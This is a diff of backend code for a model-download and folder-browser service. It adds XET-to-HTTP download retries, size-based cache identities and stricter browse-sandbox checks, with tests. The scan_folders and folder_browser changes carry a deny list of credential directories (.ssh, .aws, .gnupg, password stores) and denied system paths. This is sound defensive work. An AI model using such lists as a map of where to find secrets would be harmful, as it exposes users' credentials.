             if download_manifest.MANIFEST_DEGRADED_MARKER in stderr_text:
                 logger.warning(
@@ -258,18 +267,226 @@ def finalize_worker_exit(
             metadata.variant
             if metadata is not None and metadata.variant
             else download_registry.variant_from_key(key),
-            transport,
+            cancel_marker_transport or transport,
             logger = logger,
         )
     else:
-        registry.set_job(
-            key,
-            "error",
-            stderr_text or f"worker exited with code {rc}",
-        )
+        if not defer_error:
+            registry.set_job(
+                key,
+                "error",
+                stderr_text or f"worker exited with code {rc}",
+            )
         logger.error(
             f"{log_prefix} failed for {label} (rc={rc}): {stderr_text}",
         )
+    return state
+
+
+def _set_retry_failure_state(
+    registry: download_registry.DownloadRegistry,
+    key: str,
+    error: str,
+    *,
+    repo_type: RepoType,
+    repo_id: str,
+    fallback_variant: Optional[str],
+    fallback_transport: Optional[str],
+    logger,
+) -> str:
+    state, metadata = registry.set_error_unless_cancelled(key, error)
+    if state == "cancelled":
+        download_registry.persist_cancel_marker(
+            repo_type,
+            repo_id,
+            metadata.variant if metadata is not None and metadata.variant else fallback_variant,
+            metadata.transport
+            if metadata is not None and metadata.transport
+            else fallback_transport,
+            logger = logger,
+        )
+    return state
+
+
+def _try_http_retry(
+    registry: download_registry.DownloadRegistry,
+    key: str,
+    *,
+    hf_token: Optional[str],
+    label: str,
+    log_prefix: str,
+    logger,
+    repo_type: RepoType,
+    repo_id: str,
+    watch_name: str,
+) -> bool:
+    """Reclaim *key* with HTTP transport and spawn a recovery worker.
+
+    Returns ``True`` when the HTTP worker was successfully registered.
+    Caller is responsible for ensuring this is only called when: the job is
+    in ``"error"`` state, the original transport was XET, and HTTP is available.
+
+    Derives variant and blob-hash metadata from the registry entry written by
+    the original XET claim so callers do not re-construct worker arguments.
+    Re-queries peer protection hashes at spawn time to reflect any concurrent
+    sibling changes between the XET failure and this call.
+    """
+    original_metadata = registry.get_job_metadata(key)
+    if original_metadata is None:
+        logger.debug("%s XET retry skipped for %s; metadata unavailable", log_prefix, label)
+        _set_retry_failure_state(
+            registry,
+            key,
+            "XET retry skipped: metadata unavailable",
+            repo_type = repo_type,
+            repo_id = repo_id,
+            fallback_variant = download_registry.variant_from_key(key),
+            fallback_transport = download_registry.TRANSPORT_XET,
+            logger = logger,
+        )
+        return False
+    if original_metadata.transport != download_registry.TRANSPORT_XET:
+        logger.debug(
+            "%s XET retry skipped for %s; original transport was %s",
+            log_prefix,
+            label,
+            original_metadata.transport,
+        )
+        _set_retry_failure_state(
+            registry,
+            key,
+            f"XET retry skipped: original transport was {original_metadata.transport}",
+            repo_type = repo_type,
+            repo_id = repo_id,
+            fallback_variant = original_metadata.variant,
+            fallback_transport = original_metadata.transport,
+            logger = logger,
+        )
+        return False
+    variant = original_metadata.variant
+    blob_hashes = original_metadata.blob_hashes
+    progress_blob_hashes = original_metadata.progress_blob_hashes
+    completed_baseline_bytes = (
+        download_registry.completed_blob_bytes(
+            repo_type,
+            repo_id,
+            progress_blob_hashes,
+        )
+        if progress_blob_hashes
+        else 0
+    )
+    generation = registry.current_generation(key)
+    registry.release_active_slot(key)
+    while True:
+        if registry.cancel_requested(key):
+            _set_retry_failure_state(
+                registry,
+                key,
+                "HTTP retry cancelled before reclaiming the download slot",
+                repo_type = repo_type,
+                repo_id = repo_id,
+                fallback_variant = variant,
+                fallback_transport = original_metadata.transport,
+                logger = logger,
+            )
+            return False
+
+        claimed, conflict_state = registry.claim(
+            key,
+            download_registry.TRANSPORT_HTTP,
+            repo_type = repo_type,
+            repo_id = repo_id,
+            variant = variant,
+            blob_hashes = blob_hashes,
+            progress_blob_hashes = progress_blob_hashes,
+            completed_baseline_bytes = completed_baseline_bytes,
+            generation = generation,
+            replace_active = True,
+            cancel_marker_transport = original_metadata.transport,
+        )
+        if claimed:
+            break
+        if conflict_state == "deleting":
+            logger.debug(
+                "%s XET retry claim rejected for %s; repo is being deleted",
+                log_prefix,
+                label,
+            )
+            _set_retry_failure_state(
+                registry,
+                key,
+                "HTTP retry could not reclaim the download slot",
+                repo_type = repo_type,
+                repo_id = repo_id,
+                fallback_variant = variant,
+                fallback_transport = original_metadata.transport,
+                logger = logger,
+            )
+            return False
+        logger.debug(
+            "%s XET retry claim blocked for %s by active sibling state %s; waiting",
+            log_prefix,
+            label,
+            conflict_state,
+        )
+        time.sleep(0.05)
+
+    args: list[str] = ["--repo-id", repo_id]
+    if repo_type == "dataset":
+        args.append("--dataset")
+    elif variant:
+        args.extend(["--variant", variant])
+
+    # Re-query at spawn time: sibling state may have changed since XET failed.
+    peer_hashes = registry.peer_blob_hashes(key) if variant else frozenset()
+
+    logger.warning(
+        "%s XET worker failed for %s; retrying over HTTP",
+        log_prefix,
+        label,
+    )
+    try:
+        proc = spawn_worker(
+            args,
+            hf_token,
+            use_xet = False,
+            protected_blob_hashes = peer_hashes or None,
+        )
+    except Exception as exc:
+        scrubbed = download_registry.scrub_secrets(str(exc), hf_token = hf_token)
+        logger.error(
+            "%s HTTP retry spawn failed for %s: %s",
+            log_prefix,
+            label,
+            scrubbed,
+        )
+        registry.update_job_transport(key, original_metadata.transport)
+        _set_retry_failure_state(
+            registry,
+            key,
+            scrubbed,
+            repo_type = repo_type,
+            repo_id = repo_id,
+            fallback_variant = variant,
+            fallback_transport = original_metadata.transport,
+            logger = logger,
+        )
+        return False
+
+    return register_worker(
+        registry,
+        key,
+        proc,
+        hf_token = hf_token,
+        label = label,
+        log_prefix = log_prefix,
+        logger = logger,
+        repo_type = repo_type,
+        repo_id = repo_id,
+        transport = download_registry.TRANSPORT_HTTP,
+        cancel_marker_transport = original_metadata.transport,
+        watch_name = watch_name,
+    )
 
 
 def kill_and_reap_process(
@@ -305,6 +522,7 @@ def register_worker(
     repo_type: RepoType,
     repo_id: str,
     transport: str,
+    cancel_marker_transport: Optional[str] = None,
     watch_name: str,
 ) -> bool:
     if not registry.register_process(key, proc):
@@ -315,7 +533,14 @@ def register_worker(
 
     def _watch() -> None:
         try:
-            finalize_worker_exit(
+            can_retry_http = (
+                transport == download_registry.TRANSPORT_XET
+                and download_registry.download_transport_unavailable_reason(
+                    download_registry.TRANSPORT_HTTP
+                )
+                is None
+            )
+            state = finalize_worker_exit(
                 registry,
                 key,
                 proc,
@@ -326,7 +551,25 @@ def register_worker(
                 repo_type = repo_type,
                 repo_id = repo_id,
                 transport = transport,
+                cancel_marker_transport = cancel_marker_transport,
+                defer_error = can_retry_http,
             )
+            # XET-to-HTTP recovery: when a non-cancelled XET worker fails and
+            # HTTP is available, attempt one automatic retry over HTTP.  The
+            # transport check is the recursion guard: an HTTP worker that errors
+            # never satisfies `transport == TRANSPORT_XET`, so it stays terminal.
+            if can_retry_http and state == "error":
+                _try_http_retry(
+                    registry,
+                    key,
+                    hf_token = worker_token,
+                    label = label,
+                    log_prefix = log_prefix,
+                    logger = logger,
+                    repo_type = repo_type,
+                    repo_id = repo_id,
+                    watch_name = watch_name,
+                )
         except Exception:
             # finalize_worker_exit is the only thing that clears running/cancelling;
             # if it raises, force a terminal state so claim() isn't blocked until restart.
@@ -422,8 +665,19 @@ def cancel_worker(
             return "cancelling"
         return registry.get_job(key).state
     # Worker already exited; let its watcher classify the real return code.
-    # Arming a pending cancel here could mislabel a genuine failure as a cancel.
     if proc.poll() is not None:
+        get_metadata = getattr(registry, "get_job_metadata", None)
+        metadata = get_metadata(key) if get_metadata is not None else None
+        can_retry_http = (
+            metadata is not None
+            and metadata.transport == download_registry.TRANSPORT_XET
+            and download_registry.download_transport_unavailable_reason(
+                download_registry.TRANSPORT_HTTP
+            )
+            is None
+        )
+        if can_retry_http and registry.mark_pending_cancel(key, generation):
+            return "cancelling"
         return registry.get_job(key).state
 
     if not registry.request_cancel(key, proc, generation):
diff --git a/studio/backend/hub/services/models/cache_inventory.py b/studio/backend/hub/services/models/cache_inventory.py
index a27e4860e6..1f38af9381 100644
--- a/studio/backend/hub/services/models/cache_inventory.py
+++ b/studio/backend/hub/services/models/cache_inventory.py
@@ -49,6 +49,10 @@ _REPO_SIZE_NEG_TTL = 60.0
 _MODEL_METADATA_TIMEOUT_SECONDS = 5.0
 _repo_size_cache_lock = threading.Lock()
 
+# Identity for a cached file with no HF blob (Windows without Developer Mode: hf
+# moves the blob into snapshots/ and leaves blobs/ empty).
+_LOCAL_SIZE_IDENTITY_PREFIX = "size:"
+
 
 def get_repo_snapshot_metadata_cached(
     repo_id: str, hf_token: Optional[str] = None
@@ -135,23 +139,52 @@ def _cached_repo_file_name(file_obj) -> str:
     return str(getattr(file_obj, "file_name", "")).replace("\\", "/")
 
 
+def _is_real_cache_blob(blob: Optional[Path], repo_dir: Optional[Path]) -> bool:
+    """True only for a real cache blob at ``<repo_dir>/blobs/<etag>``.
+
+    A no-symlink ``snapshots/`` file (name is the filename, not an etag) or a
+    repo's own ``blobs/`` subdir is not the cache blob store.
+    """
+    if blob is None or repo_dir is None:
+        return False
+    try:
+        return blob.parent.resolve(strict = False) == (repo_dir / "blobs").resolve(strict = False)
+    except OSError:
+        return False
+
+
+def _cached_blob_hash(blob_path, repo_path = None) -> Optional[str]:
+    """The cache blob hash (etag) for a cached file, or None when there is no blob.
+
+    Only a real blob under the repo's ``blobs/`` dir has name == hash; a moved
+    no-symlink ``snapshots/`` file is "no blob", so the caller uses a size identity.
+    """
+    path = Path(blob_path)
+    repo_dir = Path(repo_path) if repo_path is not None else None
+    return path.name if _is_real_cache_blob(path, repo_dir) else None
+
+
+def local_size_identity(size: int) -> str:
+    """Identity for a cached file whose blob hash is unknowable: its size.
+
+    Re-hashing multi-GB GGUFs on the inventory hot path is not viable, and a
+    ``size:`` token never collides with a hex hash.
+    """
+    return f"{_LOCAL_SIZE_IDENTITY_PREFIX}{int(size)}"
+
+
 def _repo_gguf_blob_map(repo_info, *, include_companions: bool = False) -> dict[str, set[str]]:
     """Map each cached GGUF file's repo-relative name to the SET of its local
-    blob hashes across all cached revisions.
+    identities across all revisions.
 
-    HF names each local cache blob FILE by the file's etag (lfs.sha256 else
-    blob_id), so a local file's blob hash == ``Path(blob_path).name``. An updated
-    repo keeps BOTH the old and new revision snapshots until HF garbage-collects
-    them, so the same file resolves to several blobs; collecting them ALL (not
-    just the first one seen, since ``repo_info.revisions`` is a frozenset and
-    yields them in arbitrary order) lets the remote-vs-local diff treat the file
-    as current when the remote (``main``) blob is present in any cached revision.
-    Mirrors the ``cached_blob_ids`` membership test in routes/models.py.
-
-    By default this keeps the historical MAIN-GGUF-only behavior. GGUF update
-    checks opt into companions so a shared mmproj/MTP blob can be compared too.
+    An identity is the file's blob hash, or a size identity when the cache holds no
+    blob (Windows without Developer Mode). BOTH old and new revision blobs are kept
+    (a set), so the diff treats the file as current when the remote ``main`` blob is
+    in any cached revision. Main GGUF only by default; update checks opt into
+    companions to compare a shared mmproj/MTP blob too.
     """
     blob_map: dict[str, set[str]] = {}
+    repo_path = getattr(repo_info, "repo_path", None)
     for revision in repo_info.revisions:
         for f in revision.files:
             if include_companions:
@@ -163,7 +196,13 @@ def _repo_gguf_blob_map(repo_info, *, include_companions: bool = False) -> dict[
             if not blob_path:
                 continue
             name = _cached_repo_file_name(f)
-            blob_map.setdefault(name, set()).add(Path(blob_path).name)
+            identity = _cached_blob_hash(blob_path, repo_path)
+            if identity is None:
+                size = int(getattr(f, "size_on_disk", 0) or 0)
+                if size <= 0:
+                    continue
+                identity = local_size_identity(size)
+            blob_map.setdefault(name, set()).add(identity)
     return blob_map
 
 
diff --git a/studio/backend/hub/services/models/deletion.py b/studio/backend/hub/services/models/deletion.py
index e7c54fc75b..636a223d4e 100644
--- a/studio/backend/hub/services/models/deletion.py
+++ b/studio/backend/hub/services/models/deletion.py
@@ -408,7 +408,13 @@ def reclaim_replaced_gguf_variant(
             and extract_quant_label(name).lower() == variant_key,
         )
         for snap, blob, name in matches:
-            blob_hash = _blob_hash_from_path(blob) if blob is not None else None
+            # Prune only a file we can identify as a real, stale cache blob. A
+            # no-symlink snapshot file has no identifiable blob hash, so keep it.
+            blob_hash = (
+                _blob_hash_from_path(blob)
+                if cache_inventory._is_real_cache_blob(blob, repo_dir)
+                else None
+            )
             if blob_hash is None or blob_hash in keep_main_hashes:
                 continue
             stale_matches.append((snap, blob, name))
diff --git a/studio/backend/hub/services/models/downloads.py b/studio/backend/hub/services/models/downloads.py
index c2ffe7bffc..862af0141a 100644
--- a/studio/backend/hub/services/models/downloads.py
+++ b/studio/backend/hub/services/models/downloads.py
@@ -60,6 +60,30 @@ def _job_status(
     return DownloadJobStatus(state = state, error = error, generation = generation)
 
 
+def _load_in_flight(repo_id: str) -> bool:
+    try:
+        from core.inference.llama_cpp import hf_gguf_load_in_flight
+        return hf_gguf_load_in_flight(repo_id)
+    except Exception:
+        return False
+
+
+def _load_in_flight_error(repo_id: str) -> HTTPException:
+    return HTTPException(
+        status_code = 409,
+        detail = (
+            f"A model load for '{repo_id}' is in progress and may be "
+            "downloading it. Wait for the load to finish (or cancel it), "
+            "then start the download."
+        ),
+    )
+
+
+def _reject_if_load_in_flight(repo_id: str) -> None:
+    if _load_in_flight(repo_id):
+        raise _load_in_flight_error(repo_id)
+
+
 def _spawn_download_worker(
     repo_id: str,
     variant: Optional[str],
@@ -89,6 +113,9 @@ async def download_model_response(body: DownloadModelRequest, hf_token: Optional
     # Canonicalize so two different-cased paste-ins share one job + cache dir.
     repo_id = await asyncio.to_thread(resolve_cached_repo_id_case, repo_id, repo_type = "model")
 
+    # Avoid concurrent writers to the same HF cache files.
+    _reject_if_load_in_flight(repo_id)
+
     variant = (body.gguf_variant or "").strip() or None
     if variant is not None and not _is_valid_gguf_variant(variant):
         raise HTTPException(
@@ -147,9 +174,12 @@ async def download_model_response(body: DownloadModelRequest, hf_token: Optional
         blob_hashes = variant_blob_hashes,
         progress_blob_hashes = variant_progress_blob_hashes,
         completed_baseline_bytes = completed_baseline_bytes,
+        admission_check = lambda: not _load_in_flight(repo_id),
     )
     generation = _registry.current_generation(key)
     if not claimed:
+        if claim_state == "admission_blocked":
+            raise _load_in_flight_error(repo_id)
         # claim_state is the blocking job's state. The client can attach only
         # when the blocker is this key's own in-flight job (adoptable); a
         # cross-variant conflict or in-progress delete is not accepted.
diff --git a/studio/backend/hub/services/models/folder_browser.py b/studio/backend/hub/services/models/folder_browser.py
index 9b0b46509b..d56b62c318 100644
--- a/studio/backend/hub/services/models/folder_browser.py
+++ b/studio/backend/hub/services/models/folder_browser.py
@@ -15,6 +15,7 @@ from loggers import get_logger
 from hub.schemas.inventory import BrowseEntry, BrowseFoldersResponse
 from hub.storage.scan_folders import (
     contains_sensitive_path_component,
+    is_denied_system_path,
     list_scan_folders,
 )
 from hub.utils.paths import (
@@ -27,6 +28,10 @@ from hub.utils.paths import (
     studio_root,
     well_known_model_dirs,
 )
+from utils.paths.external_media import (
+    linux_run_media_mount_roots,
+    windows_drive_roots,
+)
 from hub.services.models.common import _safe_is_dir
 from hub.services.models.local_inventory import _resolve_hf_cache_dir
 
@@ -157,8 +162,14 @@ def _looks_like_model_dir(directory: Path) -> bool:
     return False
 
 
-def _build_browse_allowlist() -> list[Path]:
-    """Root directories the browser may walk (also seeds the suggestion chips): HOME, resolved HF cache dirs, Studio outputs/exports/root, registered scan folders, and well-known local-LLM dirs. Each is added only if it resolves to a real directory so the sandbox has no dead boundary."""
+def _build_browse_allowlist(
+    media_roots: Optional[list[Path]] = None, drive_roots: Optional[list[Path]] = None
+) -> list[Path]:
+    """Root directories the browser may walk (also seeds the suggestion chips): HOME, resolved HF cache dirs, Studio outputs/exports/root, registered scan folders, and well-known local-LLM dirs. Each is added only if it resolves to a real directory so the sandbox has no dead boundary.
+
+    *media_roots* / *drive_roots* let the caller pass already-probed
+    removable-media and Windows drive roots so they aren't scanned again (a
+    disconnected mapped drive can make each probe slow); probed here when ``None``."""
     from hub.storage.scan_folders import list_scan_folders
 
     candidates: list[Path] = []
@@ -175,6 +186,14 @@ def _build_browse_allowlist() -> list[Path]:
             candidates.append(resolved)
 
     _add(Path.home())
+    if media_roots is None:
+        media_roots = linux_run_media_mount_roots()
+    if drive_roots is None:
+        drive_roots = windows_drive_roots()
+    for p in media_roots:
+        _add(p)
+    for p in drive_roots:
+        _add(p)
     _add(_resolve_hf_cache_dir())
     try:
         _add(hf_default_cache_dir())
@@ -215,7 +234,14 @@ def _build_browse_allowlist() -> list[Path]:
 
 
 def _is_path_inside_allowlist(target: Path, allowed_roots: list[Path]) -> bool:
-    """True if *target* equals or descends from any allowed root; uses ``os.path.realpath`` so symlinks cannot escape the sandbox."""
+    """True if *target* equals or descends from any allowed root; uses ``os.path.realpath`` so symlinks cannot escape the sandbox.
+
+    A Windows drive root (``D:\\``) authorizes its descendants, but a bare POSIX
+    root (``/``) must NOT: a single ``/`` allowlist entry (e.g. a legacy scan
+    folder) would otherwise authorize every absolute path, reaching ``/var``,
+    ``/root``, etc. the denylist does not cover. Mirrors the legacy browser so
+    both treat ``/`` identically.
+    """
     try:
         target_real = os.path.normcase(os.path.realpath(str(target)))
     except OSError:
@@ -225,13 +251,25 @@ def _is_path_inside_allowlist(target: Path, allowed_roots: list[Path]) -> bool:
             root_real = os.path.normcase(os.path.realpath(str(root)))
         except OSError:
             continue
+        if target_real == root_real:
+            return True
+        drive, tail = os.path.splitdrive(root_real)
+        if os.path.dirname(root_real) == root_real and not drive:
+            # Bare POSIX filesystem root ("/"): equality above is the only
+            # match; do not let it authorize arbitrary descendants.
+            continue
+        if drive.startswith(("\\\\", "//")) and not tail:
+            # Bare UNC share root (\\server\share): os.path.commonpath raises
+            # "can't mix absolute and relative" on it, so authorize its
+            # descendants with a boundary-safe prefix test (normcase applied).
+            if target_real.startswith(root_real.rstrip("\\/") + os.sep):
+                return True
+            continue
         try:
             if os.path.commonpath([target_real, root_real]) == root_real:
                 return True
         except ValueError:
             continue
-        if target_real == root_real:
-            return True
     return False
 
 
@@ -344,8 +382,25 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
                     status_code = 403,
                     detail = "Credential or configuration directories are not browseable.",
                 )
+            if is_denied_system_path(str(resolved_child)):
+                raise HTTPException(
+                    status_code = 403,
+                    detail = "System directories are not browseable.",
+                )
             current = resolved_child
 
+        if contains_sensitive_path_component(str(current)):
+            raise HTTPException(
+                status_code = 403,
+                detail = "Credential or configuration directories are not browseable.",
+            )
+        # Zero-component case: the requested path IS an allowlist root
+        # (e.g. a legacy-registered "/" or a Windows drive root).
+        if is_denied_system_path(str(current)):
+            raise HTTPException(
+                status_code = 403,
+                detail = "System directories are not browseable.",
+            )
         if not current.is_dir():
             raise HTTPException(
                 status_code = 400,
@@ -374,9 +429,13 @@ def browse_folders_response(
     """
     from hub.storage.scan_folders import list_scan_folders
 
+    # Probe removable-media and Windows drive roots once; the allowlist and
+    # chips reuse the result so a disconnected mapped drive isn't scanned twice.
+    media_roots = linux_run_media_mount_roots()
+    drive_roots = windows_drive_roots()
     # Build the allowlist once -- the sandbox check and suggestion chips share
     # it so chips are always navigable.
-    allowed_roots = _build_browse_allowlist()
+    allowed_roots = _build_browse_allowlist(media_roots, drive_roots)
 
     try:
         target = _resolve_browse_target(path, allowed_roots)
@@ -432,6 +491,15 @@ def browse_folders_response(
             # descending into them is refused and registration rejects them.
             if contains_sensitive_path_component(name):
                 continue
+            # Same for denied system dirs (C:\Windows, /etc, ...): descent 403s,
+            # so don't render them as clickable rows. Resolve first so a
+            # symlink/junction into a denied dir is hidden too, not just a literal name.
+            try:
+                resolved_child = os.path.realpath(str(child))
+            except (OSError, ValueError):
+                resolved_child = str(child)
+            if is_denied_system_path(resolved_child):
+                continue
             entries.append(
                 BrowseEntry(
                     name = name,
@@ -479,12 +547,23 @@ def browse_folders_response(
             return
         if resolved in seen_sug:
             return
+        # Drop a denied system dir (e.g. a stale scan-folder row) so it never
+        # becomes a chip that 403s on click. Drive roots stay: only their
+        # system subdirectories are denied, not the root itself.
+        if is_denied_system_path(resolved):
+            return
         if _safe_is_dir(resolved):
             seen_sug.add(resolved)
             suggestions.append(resolved)
 
     # Home first as the safe fallback.
     _add_sug(Path.home())
+    # Reuse the roots probed for the allowlist above (no second drive scan).
+    for p in media_roots:
+        _add_sug(p)
+    # Windows drive roots so the user can hop between C:, D:, E: ...
+    for p in drive_roots:
+        _add_sug(p)
     # The HF cache root in use (honors HF_HOME / HF_HUB_CACHE), then the default.
     try:
         _add_sug(_resolve_hf_cache_dir())
diff --git a/studio/backend/hub/services/models/gguf_variants.py b/studio/backend/hub/services/models/gguf_variants.py
index 0147bba19a..33f0297ff5 100644
--- a/studio/backend/hub/services/models/gguf_variants.py
+++ b/studio/backend/hub/services/models/gguf_variants.py
@@ -337,6 +337,22 @@ def _local_main_gguf_blobs_by_quant(repo_id: str) -> dict[str, dict[str, set[str
     return result
 
 
+def _size_identity_matches(local_set: set[str], remote_size: int) -> bool:
+    """Whether a cached file with NO blob hash is current, judged by size.
+
+    A size token only lands in ``local_set`` for a file the cache has no blob for,
+    so it never loosens the hash comparison for a normal file. Tradeoff: an
+    equal-size requant is missed, versus the status quo where every no-blob GGUF
+    shows a phantom update that no re-download clears.
+    """
+    size = int(remote_size or 0)
+    if size <= 0:
+        return False
+    from hub.services.models import cache_inventory
+
+    return cache_inventory.local_size_identity(size) in local_set
+
+
 def _variant_update_available_from_requirement(
     local_blobs: dict[str, set[str]], requirement: Optional[_GgufVariantRequirement], variant: str
 ) -> bool:
@@ -355,8 +371,13 @@ def _variant_update_available_from_requirement(
         if not remote_blob:
             continue
         local_set = local_by_posix.get(path)
-        if not local_set or remote_blob not in local_set:
+        if not local_set:
             return True
+        if remote_blob in local_set:
+            continue
+        if _size_identity_matches(local_set, expected.size):
+            continue
+        return True
     return False
 
 
diff --git a/studio/backend/hub/services/snapshot_progress.py b/studio/backend/hub/services/snapshot_progress.py
index 9c8bc9a891..1fdf05e2e5 100644
--- a/studio/backend/hub/services/snapshot_progress.py
+++ b/studio/backend/hub/services/snapshot_progress.py
@@ -12,6 +12,7 @@ summing stale blobs against the wrong total)."""
 from __future__ import annotations
 
 import asyncio
+import threading
 from pathlib import Path
 from typing import Callable, Optional
 
@@ -34,6 +35,28 @@ logger = get_logger(__name__)
 # (repo_id, hf_token) -> (expected_total_bytes, expected_blob_hashes)
 SnapshotMetadataResolver = Callable[[str, Optional[str]], "tuple[int, frozenset[str]]"]
 
+# One progress log per 10% step per job, so an active download reports progress
+# without emitting a line on every poll.
+_progress_step_lock = threading.Lock()
+_last_progress_step: dict[str, int] = {}
+
+
+def _log_progress_step(job_key: str, repo_id: str, variant: Optional[str], progress: float) -> None:
+    step = int(progress * 10)
+    with _progress_step_lock:
+        last = _last_progress_step.get(job_key, -1)
+        if step == last:
+            return
+        _last_progress_step[job_key] = step
+        if step < last:
+            return  # download restarted; resync without logging
+    logger.info(
+        "hub_download_progress",
+        repo_id = repo_id,
+        variant = variant or "",
+        percent = step * 10,
+    )
+
 
 def _empty_progress(expected_bytes: int) -> dict:
     return {
@@ -215,6 +238,8 @@ def compute_snapshot_progress(
             else 0
         )
     )
+    if force_active:
+        _log_progress_step(job_key, repo_id, variant, progress)
     return {
         "downloaded_bytes": display_downloaded_bytes,
         "completed_bytes": display_completed_bytes,
diff --git a/studio/backend/hub/storage/scan_folders.py b/studio/backend/hub/storage/scan_folders.py
index 85f515da00..81623d2759 100644
--- a/studio/backend/hub/storage/scan_folders.py
+++ b/studio/backend/hub/storage/scan_folders.py
@@ -16,37 +16,14 @@ from datetime import datetime, timezone
 
 from storage.studio_db import get_connection
 from hub.utils.paths import normalize_path
+from utils.paths.external_media import is_linux_run_media_path, is_local_filesystem_root
+from utils.paths.sensitive import (
+    contains_sensitive_path_component as _shared_contains_sensitive_path_component,
+)
 
 
 _schema_lock = threading.Lock()
 _schema_ready = False
-_SENSITIVE_PATH_COMPONENTS = {
-    ".aws",
-    ".azure",
-    ".config",
-    ".docker",
-    ".gcloud",
-    ".gnupg",
-    ".huggingface",
-    ".kaggle",
-    ".kube",
-    ".modelscope",
-    ".ngc",
-    ".local",
-    ".mozilla",
-    ".pki",
-    ".thunderbird",
-    ".ssh",
-    ".1password",
-    ".bitwarden",
-    ".password-store",
-    "1password",
-    "bitwarden",
-    "keychains",
-    "keyrings",
-    "mozilla",
-    "thunderbird",
-}
 
 
 def _denied_path_prefixes() -> list[str]:
@@ -75,9 +52,27 @@ def _denied_path_prefixes() -> list[str]:
     return []
 
 
+def is_denied_system_path(path: str) -> bool:
+    """True if *path* is, or descends from, a denied system directory.
+
+    Mirrors the denylist add_scan_folder() enforces at registration so the
+    browser refuses /etc, /proc, C:\\Windows, etc. even when the allowlist holds
+    a broad root (a Windows drive root C:\\ or a legacy-registered / root). The
+    /run carve-out keeps Linux removable-media mounts browseable. Expects an
+    already-resolved (realpath) path so symlinks cannot escape into a denied subtree.
+    """
+    is_win = platform.system() == "Windows"
+    check = os.path.normcase(path) if is_win else path
+    for prefix in _denied_path_prefixes():
+        if check == prefix or check.startswith(prefix + os.sep):
+            if prefix == "/run" and is_linux_run_media_path(check):
+                continue
+            return True
+    return False
+
+
 def _contains_sensitive_path_component(path: str) -> bool:
-    parts = os.path.normpath(path).split(os.sep)
-    return any(part.lower() in _SENSITIVE_PATH_COMPONENTS for part in parts)
+    return _shared_contains_sensitive_path_component(path)
 
 
 def contains_sensitive_path_component(path: str) -> bool:
@@ -132,8 +127,9 @@ def add_scan_folder(path: str) -> dict:
         raise ValueError("Path must be a directory, not a file")
     if not os.access(normalized, os.R_OK | os.X_OK):
         raise ValueError("Path is not readable")
-    if os.path.dirname(normalized) == normalized:
-        # Registering a filesystem root would expose denied system dirs via browse.
+    if is_local_filesystem_root(normalized):
+        # A local fs root ("/", "C:\\") would expose denied system dirs via browse;
+        # a UNC share root (\\server\share) has none under it and stays registerable.
         raise ValueError("The filesystem root cannot be registered")
     if _contains_sensitive_path_component(normalized):
         raise ValueError("Credential or configuration directories are not allowed")
@@ -142,6 +138,8 @@ def add_scan_folder(path: str) -> dict:
     check = os.path.normcase(normalized) if is_win else normalized
     for prefix in _denied_path_prefixes():
         if check == prefix or check.startswith(prefix + os.sep):
+            if prefix == "/run" and is_linux_run_media_path(check):
+                continue
             raise ValueError(f"Path under {prefix} is not allowed")
 
     conn = get_connection()
diff --git a/studio/backend/hub/tests/test_download_lifecycle.py b/studio/backend/hub/tests/test_download_lifecycle.py
index a4baafa317..87346573b0 100644
--- a/studio/backend/hub/tests/test_download_lifecycle.py
+++ b/studio/backend/hub/tests/test_download_lifecycle.py
@@ -1,27 +1,147 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import io
+import logging
+
 from hub.services import download_lifecycle
+from hub.utils import download_registry, state_dir
 
 
-def _set_xet_reason(monkeypatch, reason):
+class _Proc:
+    pid = 4242
+
+    def __init__(
+        self,
+        rc,
+        stderr = b"",
+    ):
+        self.rc = rc
+        self.stderr = io.BytesIO(stderr)
+        self.waited = False
+
+    def poll(self):
+        return self.rc if self.waited else None
+
+    def wait(self, timeout = None):
+        self.waited = True
+        return self.rc
+
+    def kill(self):
+        pass
+
+
+class _ImmediateThread:
+    def __init__(self, *, target, **_kwargs):
+        self.target = target
+
+    def start(self):
+        self.target()
+
+
+def test_resolve_effective_use_xet(monkeypatch):
+    for requested, unavailable_reason, expected in (
+        (False, "unused", False),
+        (True, None, True),
+        (True, "hf_xet is not installed", False),
+    ):
+        monkeypatch.setattr(
+            download_lifecycle.download_registry,
+            "download_transport_unavailable_reason",
+            lambda _transport, reason = unavailable_reason: reason,
+        )
+        assert download_lifecycle.resolve_effective_use_xet(requested) is expected
+
+
+def test_xet_failure_retries_over_http_for_model_and_dataset(monkeypatch, tmp_path):
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state")
+    monkeypatch.setattr(download_lifecycle.threading, "Thread", _ImmediateThread)
+    register_worker = download_lifecycle.register_worker
+
+    for repo_type, repo_id, variant, expected_args in (
+        ("model", "Org/Model", "Q4_K_M", ["--repo-id", "Org/Model", "--variant", "Q4_K_M"]),
+        ("dataset", "Org/Data", None, ["--repo-id", "Org/Data", "--dataset"]),
+    ):
+        registry = download_registry.DownloadRegistry()
+        key = download_registry.normalize_job_key(f"{repo_id}::{variant}" if variant else repo_id)
+        assert registry.claim(
+            key,
+            download_registry.TRANSPORT_XET,
+            repo_type = repo_type,
+            repo_id = repo_id,
+            variant = variant,
+            blob_hashes = frozenset({"blob"}),
+        )[0]
+        generation = registry.current_generation(key)
+        spawned = []
+
+        def fake_spawn(
+            args,
+            _token,
+            *,
+            use_xet,
+            protected_blob_hashes = None,
+        ):
+            spawned.append((args, use_xet, protected_blob_hashes))
+            return _Proc(0)
+
+        def fake_retry_register(*_args, **kwargs):
+            assert kwargs["transport"] == download_registry.TRANSPORT_HTTP
+            return True
+
+        monkeypatch.setattr(download_lifecycle, "spawn_worker", fake_spawn)
+        monkeypatch.setattr(download_lifecycle, "register_worker", fake_retry_register)
+        assert register_worker(
+            registry,
+            key,
+            _Proc(1, b"xet failed"),
+            hf_token = None,
+            label = repo_id,
+            log_prefix = "Download",
+            logger = logging.getLogger("test"),
+            repo_type = repo_type,
+            repo_id = repo_id,
+            transport = download_registry.TRANSPORT_XET,
+            watch_name = f"{repo_type}-watch",
+        )
+
+        metadata = registry.get_job_metadata(key)
+        assert spawned == [(expected_args, False, None)]
+        assert metadata.transport == download_registry.TRANSPORT_HTTP
+        assert metadata.blob_hashes == frozenset({"blob"})
+        assert registry.current_generation(key) == generation
+
+
+def test_http_failure_remains_terminal(monkeypatch, tmp_path):
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state")
